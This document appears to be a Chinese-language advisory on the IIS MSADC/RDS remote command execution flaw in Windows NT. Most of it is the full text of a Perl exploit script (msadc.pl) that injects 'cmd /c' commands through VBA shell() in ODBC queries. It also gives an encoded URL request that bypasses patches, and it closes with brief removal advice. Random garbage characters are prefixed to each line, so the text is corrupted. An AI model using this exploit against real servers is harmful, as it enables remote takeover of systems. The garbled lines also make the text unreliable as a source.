IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
"#"Fp&Z7 [s h"? 涉及程序：
GqF.T #| Microsoft NT server
-p]`(S% AfbA.- 描述：
Ny&Fjzl 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
3C5D~9v EIl$"^- 详细：
>@92K ]J 如果你没有时间读详细内容的话，就删除:
w1/T>o c:\Program Files\Common Files\System\Msadc\msadcs.dll
=<27qj
有关的安全问题就没有了。
?5+KHG *) WSX@0A.&) 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
z]R!l%` U Edl"FwM4 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
I]j/ ab7> 关于利用ODBC远程漏洞的描述，请参看:
3 qd-,qC J b-QP'$@ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @=|
b$E ;),O*Z |"v 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
M%dl?9pbq http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3[g++B."pC 3Tte8]0 这里不再论述。
#p:jKAc3 1Z{p[\ k 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
)@&?i. d?+oT0pCH /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
bT6)(lm 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
)* AA9 x;b+gIz* f 4 ;8? #将下面这段保存为txt文件，然后: "perl -x 文件名"
7XI4=O};&% 5 @r Zm4U #!perl
fbbl92p #
EG:WE^4 # MSADC/RDS 'usage' (aka exploit) script
hF%~iqd #
B*~Bm. # by rain.forest.puppy
QcVtv7+*v #
UK9MWC5g9 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
o[+|n[aT)3 # beta test and find errors!
V5^b6$R@ OU964 vv use Socket; use Getopt::Std;
R; m0eG` getopts("e:vd:h:XR", \%args);
.Yv.-A=ZIg {~{s =c0 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
f0'Wq^^ /xb F1@XtL if (!defined $args{h} && !defined $args{R}) {
jQBdS. }'v print qq~
%' g-%2C? Usage: msadc.pl -h <host> { -d <delay> -X -v }
|~vQ0D
-h <host> = host you want to scan (ip or domain)
GZ>% &^E -d <seconds> = delay between calls, default 1 second
^T 1-dw( -X = dump Index Server path table, if available
}u*@b10 -v = verbose
YD>>YaH_3@ -e = external dictionary file for step 5
zbKW. u]v (6y3"c be Or a -R will resume a command session
Y8xnvK* r{3 `z qo ~; exit;}
Xv(9 Yh S X!+ a;wr $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
,$(v#T z if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
v/6,eIz if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
CoN/L`.SN if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
z7}zf@Y-qv $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
>Ezwl5 b if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Xr6 !b:UX U[ungvU1U if (!defined $args{R}){ $ret = &has_msadc;
.7 ^-*HT} die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
1X}Tp\e a9_KQ=& CI print "Please type the NT commandline you want to run (cmd /c assumed):\n"
JBJ7k19; . "cmd /c ";
]O `
[v $in=<STDIN>; chomp $in;
<UL|%9 =~ $command="cmd /c " . $in ;
9<r}s p%y\`Nlgdx if (defined $args{R}) {&load; exit;}
!>);}J!e] *U^hwL print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
* M<=K.*\G &try_btcustmr;
]<?)(xz 1KR|i" print "\nStep 2: Trying to make our own DSN...";
&>b1ES.> &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
;l4 \^E1 ~0{Kga print "\nStep 3: Trying known DSNs...";
32F GDM &known_dsn;
T@WMT,J6j D}U<7=\3H print "\nStep 4: Trying known .mdbs...";
Z|GkM 5QH: &known_mdb;
Bj[/ tQ 0 e](N ` if (defined $args{e}){
;I@L print "\nStep 5: Trying dictionary of DSN names...";
E.bbIV6mQ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
*/e5lRO\ R51!j>[fqM print "Sorry Charley...maybe next time?\n";
N9|.D.#MF exit;
O o .Qz
~ b_gwJ' ##############################################################################
[1MEA; A>2p/iMc sub sendraw { # ripped and modded from whisker
JU.%;e7 sleep($delay); # it's a DoS on the server! At least on mine...
Bb"4^EOZ, my ($pstr)=@_;
v fDb9QP socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
# Kr.!uD die("Socket problems\n");
E\N=p&g$ if(connect(S,pack "SnA4x8",2,80,$target)){
( t[' select(S); $|=1;
e>Y2q|S85 print $pstr; my @in=<S>;
?0%TE\I8 select(STDOUT); close(S);
0l@+xS; return @in;
lM%fgy X } else { die("Can't connect...\n"); }}
-B(K Q T,J gQDK?aQX ##############################################################################
i?=.;
0[| rB?cm]G= sub make_header { # make the HTTP request
kweTK]mT my $msadc=<<EOT
6x{ IY POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
:J-5Q]# User-Agent: ACTIVEDATA
l!` 0I] } Host: $ip
*
XG Bym Content-Length: $clen
e !Okc*, Connection: Keep-Alive
W-QPO 9v2 ; ADCClientVersion:01.06
-;-"i J0 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
B '/ >Ax& 0.0!5D[ --!ADM!ROX!YOUR!WORLD!
1hS~!r'qqv Content-Type: application/x-varg
x@}Fn:c!5 Content-Length: $reqlen
;qK6."b`; EQ $9Ia Y. EOT
<]^D ({` ; $msadc=~s/\n/\r\n/g;
L:Eb(z/D return $msadc;}
P tOnj)Q ybO ,~TQ ##############################################################################
.Y.#
d7TA mK4|=Q sub make_req { # make the RDS request
jsQ$.)nO my ($switch, $p1, $p2)=@_;
j!)p NZW.< my $req=""; my $t1, $t2, $query, $dsn;
.x8$PXjPG @/FX7O{n: if ($switch==1){ # this is the btcustmr.mdb query
1U7HS2 $query="Select * from Customers where City=" . make_shell();
*)I1gR~ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
3~la/$?p0 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
b15qy? `y j #YFwX4. elsif ($switch==2){ # this is general make table query
J@iN':l- $query="create table AZZ (B int, C varchar(10))";
3Q)>gh* $dsn="$p1";}
nWu4HFi ]l%.X7M9 elsif ($switch==3){ # this is general exploit table query
j@ !}r|-T $query="select * from AZZ where C=" . make_shell();
A,)E LVk1F $dsn="$p1";}
EPRs %(w` w\*/(E<:
elsif ($switch==4){ # attempt to hork file info from index server
e 8 bJ ] $query="select path from scope()";
dR :iUw:V $dsn="Provider=MSIDXS;";}
KLW+ &.re8 eMzCAO elsif ($switch==5){ # bad query
- 5.%{Go$[ $query="select";
|hoZ : $dsn="$p1";}
a6P.Zf7 R ?s\0 $t1= make_unicode($query);
W
F<V2o{k $t2= make_unicode($dsn);
KK$A 4`YoR $req = "\x02\x00\x03\x00";
Ghc0{M< $req.= "\x08\x00" . pack ("S1", length($t1));
![^h<Om $req.= "\x00\x00" . $t1 ;
Jo <6M' $req.= "\x08\x00" . pack ("S1", length($t2));
!g"9P 7p $req.= "\x00\x00" . $t2 ;
c"1d#8 J $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
p\ S3A( return $req;}
K6 7 ?
d "mK (?U!A ##############################################################################
S I5QdX Bx4GFCdifC sub make_shell { # this makes the shell() statement
]E^f8s0#V return "'|shell(\"$command\")|'";}
U^\~{X BH a>2N ##############################################################################
6QQ oHYtZ RiG!TTa
b sub make_unicode { # quick little function to convert to unicode
p ]=;t" my ($in)=@_; my $out;
w}q"y+=Z: for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
=:eE ! return $out;}
z?[DW* GY xI$y0: ##############################################################################
zX `RN )C F9w&!yW: sub rdo_success { # checks for RDO return success (this is kludge)
KW^aARJ) my (@in) = @_; my $base=content_start(@in);
a0\UL"z#+ if($in[$base]=~/multipart\/mixed/){
!yrHVc return 1 if( $in[$base+10]=~/^\x09\x00/ );}
926oM77 return 0;}
"@$STptkc &y\2:IyA ##############################################################################
)A=g# D# +9CU nRv sub make_dsn { # this makes a DSN for us
|pSoBA9U my @drives=("c","d","e","f");
IoOnS) print "\nMaking DSN: ";
!@k @7~i foreach $drive (@drives) {
MDt?7c print "$drive: ";
c\MDOD%9 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
\-w s[ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
V.:A'!$# . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
)W|jt/ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
p>3 '77
V return 0 if $2 eq "404"; # not found/doesn't exist
mC(t;{ if($2 eq "200") {
%;$Y|RbmqE foreach $line (@results) {
_B FX5 ifK return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
38i,\@p`9$ } return 0;}
3
?~+5DU zAJUL ##############################################################################
WEAXqDj M +Ob#3PRy sub verify_exists {
);H[lKy my ($page)=@_;
>nEnX my @results=sendraw("GET $page HTTP/1.0\n\n");
T]-~?;Jh8 return $results[0];}
[)vwg`] Cq;d2u0)o$ ##############################################################################
J?fh3RW9 l}c2l' sub try_btcustmr {
m Xj Ljgc} my @drives=("c","d","e","f");
5N<v'6&= my @dirs=("winnt","winnt35","winnt351","win","windows");
Z"Ni
Y i]%"s_l foreach $dir (@dirs) {
+Q0-jS#d print "$dir -> "; # fun status so you can see progress
S'p`ECfVMA foreach $drive (@drives) {
KB A% print "$drive: "; # ditto
@A'1D@f# $reqlen=length( make_req(1,$drive,$dir) ) - 28;
e/jM+%
$reqlenlen=length( "$reqlen" );
rd4'y~#S $clen= 206 + $reqlenlen + $reqlen;
Wb4{*~ 5 >Yd\(`K my @results=sendraw(make_header() . make_req(1,$drive,$dir));
gi@ji-10 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
q.km>XRk~ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
wJ* -K- [ {LnE: ##############################################################################
{
BL 1j de{Yg N sub odbc_error {
tN> B$sv my (@in)=@_; my $base;
ER1mA:8>E my $base = content_start(@in);
Q.dy
$`\ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
N==_'`O1Q0 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^ZWFj?`\UV $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
V_622~Tc/[ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
dU3 >h[q return $in[$base+4].$in[$base+5].$in[$base+6];}
&novkkqY print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Vp"Ug,1 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
0(9@GIT $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
<dPxy`_ q *TKs#3 ##############################################################################
Ab<Ok\e5 [j U sub verbose {
lILtxVBO2o my ($in)=@_;
F>(#Af9 return if !$verbose;
wD^do print STDOUT "\n$in\n";}
YKOO(?lv $= xQ X ##############################################################################
~<OjXuYu i/~QJ1C sub save {
(ul-J4 E\O my ($p1, $p2, $p3, $p4)=@_;
%kFELtx open(OUT, ">rds.save") || print "Problem saving parameters...\n";
(H %d] print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
CVG>[~}(9' close OUT;}
8'WMspX f<altz_\q ##############################################################################
ai
_fN k&iScMgCTH sub load {
^|i\d \ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
0W%}z}/ N open(IN,"<rds.save") || die("Couldn't open rds.save\n");
`R52{B#&/ @p=<IN>; close(IN);
Zbh]SF{3F $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
#_\M D, ( $target= inet_aton($ip) || die("inet_aton problems");
*u;">H*BW print "Resuming to $ip ...";
C;:L~)C@t $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
6cT~irP if($p[1]==1) {
)-:eQ{st` $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
]N <] $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
%g @3S!lK my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
#IGoz|m if (rdo_success(@results)){print "Success!\n";}
m?% H<4X else { print "failed\n"; verbose(odbc_error(@results));}}
>VU QTg elsif ($p[1]==3){
`p d if(run_query("$p[3]")){
GKujDx+h print "Success!\n";} else { print "failed\n"; }}
4S0++Hp4 elsif ($p[1]==4){
RzJ}C T if(run_query($drvst . "$p[3]")){
s?x>Yl
% print "Success!\n"; } else { print "failed\n"; }}
(X_ ,*3Yxk exit;}
0mD;.1: Y!1^@;)^ ##############################################################################
cm 9oG C6V&R1" s sub create_table {
0"qim0%|DF my ($in)=@_;
!eAdm $reqlen=length( make_req(2,$in,"") ) - 28;
!:O/|.+Vmf $reqlenlen=length( "$reqlen" );
={E! 8 " $clen= 206 + $reqlenlen + $reqlen;
6SBvn% my @results=sendraw(make_header() . make_req(2,$in,""));
^&';\O@) return 1 if rdo_success(@results);
;.Oh 88|k my $temp= odbc_error(@results); verbose($temp);
Xtu`5p_Qv return 1 if $temp=~/Table 'AZZ' already exists/;
mn; 7o~4 return 0;}
H"q`k5R oD#< ?h)( ##############################################################################
}#W`<,*rL. >6l ;/ J sub known_dsn {
,rB9esxic # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
8Z4?X% my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
P-OPv%jyi "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
S|q!? /jqj "banner", "banners", "ads", "ADCDemo", "ADCTest");
*&dW\fx 2~&hs td% foreach $dSn (@dsns) {
?%xhe print ".";
teOBsFy/I next if (!is_access("DSN=$dSn"));
"H="Ip!s if(create_table("DSN=$dSn")){
x
!:9c< print "$dSn successful\n";
!`
M;# if(run_query("DSN=$dSn")){
3q|cZQK!1 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
>4|c7z4 print "Something's borked. Use verbose next time\n";}}} print "\n";}
lKV\1(` jq("D, ##############################################################################
5h|m4)$ U.hERe ~ X sub is_access {
!&a;P,_Fb my ($in)=@_;
Z ]aK' $reqlen=length( make_req(5,$in,"") ) - 28;
-q& 7J'
N $reqlenlen=length( "$reqlen" );
"0H56#eW $clen= 206 + $reqlenlen + $reqlen;
oWx_O-_._ my @results=sendraw(make_header() . make_req(5,$in,""));
;]&~D
+XH my $temp= odbc_error(@results);
bQdSX8: !R verbose($temp); return 1 if ($temp=~/Microsoft Access/);
7edPH3 return 0;}
G_^iR- ^YG7dd_ ##############################################################################
)zW%\s*' n-hvh-ZO sub run_query {
] /o12p I my ($in)=@_;
Jny)u o8 $reqlen=length( make_req(3,$in,"") ) - 28;
Zc %foK { $reqlenlen=length( "$reqlen" );
P!FE h'. $clen= 206 + $reqlenlen + $reqlen;
RrO0uadmn my @results=sendraw(make_header() . make_req(3,$in,""));
Q$3\ /mz return 1 if rdo_success(@results);
7 7xq/c[) my $temp= odbc_error(@results); verbose($temp);
i[2bmd !H return 0;}
s^g.42?u (zs4#ja2, ##############################################################################
p2Dh3)& pM&]&Nk sub known_mdb {
t/d' ,Khg my @drives=("c","d","e","f","g");
|k`f/* my @dirs=("winnt","winnt35","winnt351","win","windows");
Z&dr0w8 my $dir, $drive, $mdb;
r: c@17 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
R81{<q'%X vnC<* k4&v # this is sparse, because I don't know of many
RG l=7^M my @sysmdbs=( "\\catroot\\icatalog.mdb",
qY$*#*Q "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
v@fe-T&0 "\\system32\\certmdb.mdb",
O }K_l1 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
g V"qV @e! Zc3 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
xb9Pc.A[ "\\cfusion\\cfapps\\forums\\forums_.mdb",
Sa;<B:| "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
t;.^K\S4 "\\cfusion\\cfapps\\security\\realm_.mdb",
@K$VV^wp "\\cfusion\\cfapps\\security\\data\\realm.mdb",
%@lV-(5q "\\cfusion\\database\\cfexamples.mdb",
Lj&1K~U "\\cfusion\\database\\cfsnippets.mdb",
n5Nan
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
:!JpP
R5 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
_{LN{iqDv "\\cfusion\\brighttiger\\database\\cleam.mdb",
yn/?=
?0 "\\cfusion\\database\\smpolicy.mdb",
I*A0?{ "\\cfusion\\database\cypress.mdb",
3Q'[Ee2-3 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
}W:*aU "\\website\\cgi-win\\dbsample.mdb",
\7Gg2;TA6o "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
V#'26@@ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
-?< Ww{ ); #these are just
w4e%-Ln foreach $drive (@drives) {
cOSxg=~>u foreach $dir (@dirs){
RzA2*]%a foreach $mdb (@sysmdbs) {
K*R)V/B/l print ".";
`fBG ~NDw if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
-}{%Q?rYj print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
qQfqlD< if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
#XTY7,@ P print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
0jxO |N 2) } else { print "Something's borked. Use verbose next time\n"; }}}}}
lx \qp`w 0U82f1ei foreach $drive (@drives) {
cGgM8 foreach $mdb (@mdbs) {
_ PXG AS print ".";
tcBC!_vF if(create_table($drv . $drive . $dir . $mdb)){
xS6(K print "\n" . $drive . $dir . $mdb . " successful\n";
=?/N5O( if(run_query($drv . $drive . $dir . $mdb)){
l GdM80f print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
]2Sfkl0 } else { print "Something's borked. Use verbose next time\n"; }}}}
9=t#5J#O }
N\9}\Rk@ 3iE-6udCS ##############################################################################
^FP}
qW~;9 9$7&URwSDI sub hork_idx {
Ts|--, print "\nAttempting to dump Index Server tables...\n";
+kj zn]} f print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
]g{hhP3> $reqlen=length( make_req(4,"","") ) - 28;
}JRP,YNh $reqlenlen=length( "$reqlen" );
ecr88 6 $clen= 206 + $reqlenlen + $reqlen;
:GU,EDps my @results=sendraw2(make_header() . make_req(4,"",""));
_& 8O~8tW if (rdo_success(@results)){
&qJPwO my $max=@results; my $c; my %d;
;~ W8v.EW for($c=19; $c<$max; $c++){
Zimh _ $results[$c]=~s/\x00//g;
SArfczoB $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
P!kw;x $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
lj .nCV_ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
kTnOmA w $d{"$1$2"}="";}
>qR7'Q wP foreach $c (keys %d){ print "$c\n"; }
vB[~pQ;Z } else {print "Index server doesn't seem to be installed.\n"; }}
*_`76`cz%X &^ V~cJ ##############################################################################
_i5mC,OffN U?gl"6x sub dsn_dict {
yJ%t^ X_ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
< &4nOt while(<IN>){
9 |'
|BC $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
>;
aCf #q next if (!is_access("DSN=$dSn"));
i.3cj1 if(create_table("DSN=$dSn")){
# @ 9)h print "$dSn successful\n";
G+0><,S if(run_query("DSN=$dSn")){
9]"S:{KSCn print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
ac9qj print "Something's borked. Use verbose next time\n";}}}
v @:~mwy print "\n"; close(IN);}
kr%2 w 2ck 4C/ h ##############################################################################
pX@Si3G` m23+kj)+VY sub sendraw2 { # ripped and modded from whisker
g3Z:{@m sleep($delay); # it's a DoS on the server! At least on mine...
l
:/&E 6 9 my ($pstr)=@_;
_w 5RK( socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
g%ubvu2t] die("Socket problems\n");
Ab/j (xr= if(connect(S,pack "SnA4x8",2,80,$target)){
[`d$X^<y; print "Connected. Getting data";
p8Iw!HE open(OUT,">raw.out"); my @in;
7_-w_"X select(S); $|=1; print $pstr;
0axxQ!Ivx while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
q# MM close(OUT); select(STDOUT); close(S); return @in;
d ')-7 C } else { die("Can't connect...\n"); }}
gw"~RV0 o/C(4q6d ##############################################################################
g& k58{e $[g _=Z sub content_start { # this will take in the server headers
!=3Rg-'d1 my (@in)=@_; my $c;
~4Pc_%&i for ($c=1;$c<500;$c++) {
jk$86ma! if($in[$c] =~/^\x0d\x0a/){
{@gAv! if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
\#CM
<% else { return $c+1; }}}
Mi ; gl m return -1;} # it should never get here actually
wJ gX/W n-$VUo ##############################################################################
-D^L}b EFAGP${F sub funky {
=+Im*mgNn my (@in)=@_; my $error=odbc_error(@in);
EeB ]X24 if($error=~/ADO could not find the specified provider/){
h4/X
0@l` print "\nServer returned an ADO miscofiguration message\nAborting.\n";
tAjx\7IX exit;}
b.b@bq$1 if($error=~/A Handler is required/){
LOr|k8tL% print "\nServer has custom handler filters (they most likely are patched)\n";
,vV ]"f exit;}
SVagT'BB if($error=~/specified Handler has denied Access/){
$6T3y8 print "\nServer has custom handler filters (they most likely are patched)\n";
2edBQYWd exit;}}
M`vyTuO3SO d t_e ##############################################################################
r [s!F=^
p~2UUm V sub has_msadc {
nBN&.+3t my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
JQ@fuo % my $base=content_start(@results);
Gih[i\%Q return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
_tAQ=e BO return 0;}
&-%X:~|:X P}V=*g ########################
k;I &.H EATu KLP\ 3$VxRz) 解决方案：
3LDsxE=N:q 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
;Wc4qJ.@ 2、移除web 目录: /msadc
